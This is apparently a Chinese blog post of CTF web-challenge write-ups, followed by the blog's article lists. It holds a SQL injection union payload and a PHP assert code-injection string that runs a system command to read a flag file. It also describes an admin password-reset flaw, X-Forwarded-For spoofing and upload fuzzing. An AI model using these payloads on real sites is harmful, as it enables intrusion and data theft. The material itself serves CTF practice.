国庆就要莫得了   起床刷几道

NewsCenter

mfw

Training-WWW-Robots

NaNNaNNaNNaN-Batman

bug

NewsCenter

search传参那里发现有注入 注入出flag即可 没太大转弯

' and 0 union select 1,2,fl4g from secret_table #

mfw

发现git泄露 下载下来看源码

index.php中关键源码:

<?php

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

assert这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;

$file =templates/ abc') or system("cat templates/flag.php");// ".php"

assert("strpos('templates/ abc') or system("cat templates/flag.php");// ".php"', '..') === false") or die("Detected hacking attempt!");

strpos中传入了abc,所以其肯定返回false,在利用or让其执行system函数,再用" // "将后面的语句注释掉

注意这里之所以能像注入攻击一样执行system函数是因为外面有代码执行函数assert

Training-WWW-Robots

这题莫得意思 看到robots就可以看到flag文件了

NaNNaNNaNNaN-Batman

下载下来个文件,打开发现是一段javascript脚本

eval(_)改为console.log(_) 控制台输入调试下

function $()
{
    var e=document.getElementById("c").value;
    if(e.length==16)
        if(e.match(/^be0f23/)!=null)
            if(e.match(/233ac/)!=null)
                if(e.match(/e98aa$/)!=null)
                    if(e.match(/c7be9/)!=null){
                        var t=["fl","s_a","i","e}"];
                        var n=["a","_h0l","n"];
                        var r=["g{","e","_0"];
                        var i=["it'","_","n"];
                        var s=[t,n,r,i];
                        for(var o=0;o<13;++o)
                        {
                            var a=document.write(s[o%4][0]);s[o%4].splice(0,1)
                        }
                    }
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete _

这里如果你要正常满足条件输入 然后打印flag

  • 输入的字符串长度必须为16个字符
  • 字符串的开头必须要匹配be0f23
  • 字符串的结尾必须要匹配e98aa
  • 字符串中要能匹配到233acc7be9

be0f233ac7be98aa

你直接打印也行

bug

这题有点多 但是不难

打开是个登录

注册号账号后查看是否登陆进去没能找到漏洞
打开修改密码界面,尝试是否有逻辑漏洞

将admin账号的密码成功修改为qing

点击后显示ip不匹配  伪造ip头发现xff可以

源码看到注释

<!-- index.php?module=filemanage&do=???-->

这里就需要fuzz了    看到filemanage大概也知道是upload upfile之类的

上传fuzz下

最新文章

  1. win2008 强制删除故障集群配置
  2. qml操作播放器
  3. xenserver xensource.log不断增长
  4. 【转】Android SwitchButton(滑动开关)
  5. 判断浏览器类型-----------navigator.userAgent.indexOf()
  6. oracle 定义临时表
  7. 更改mysql数据库latin1_swedish_ci为utf8
  8. MySQL 5.7版本安装教程-踩坑总结
  9. 算法导论 6.5.9 堆实现K路归并问题
  10. SpringBoot整合RabbitMQ-整合演示
  11. Android Studio升级到3.4遇到的问题总结
  12. Hadoop基础-通过IO流操作HDFS
  13. ASP .NET MVC HtmlHelper扩展——简化“列表控件”的绑定
  14. mvc+struct1+struct2
  15. 基于Windows 机器学习(Machine Learning)的图像分类(Image classification)实现
  16. Delphi 的链式代码
  17. iOS 网易彩票-4设置模块一
  18. OS之进程管理---进程调度和多线程调度
  19. Adapter Class/Object(适配器)
  20. Intel Code Challenge Final Round (Div. 1 + Div. 2, Combined) E - Goods transportation 最大流转最小割转dp

热门文章

  1. SpringBoot自定义过滤器的两种方式及过滤器执行顺序
  2. 时钟AnalogClock和DigitalClock
  3. Spring Boot 多环境如何配置
  4. jar包部署到window系统服务器的办法
  5. Cabloy-CMS:动静结合,解决Hexo痛点问题(进阶篇)
  6. django 中namespace的问题
  7. 07-SQLServer数据库中的系统数据库
  8. 初学者-asp.net三层架构
  9. JAVASE知识点总结(四)
  10. Python将自己写的模块进行打包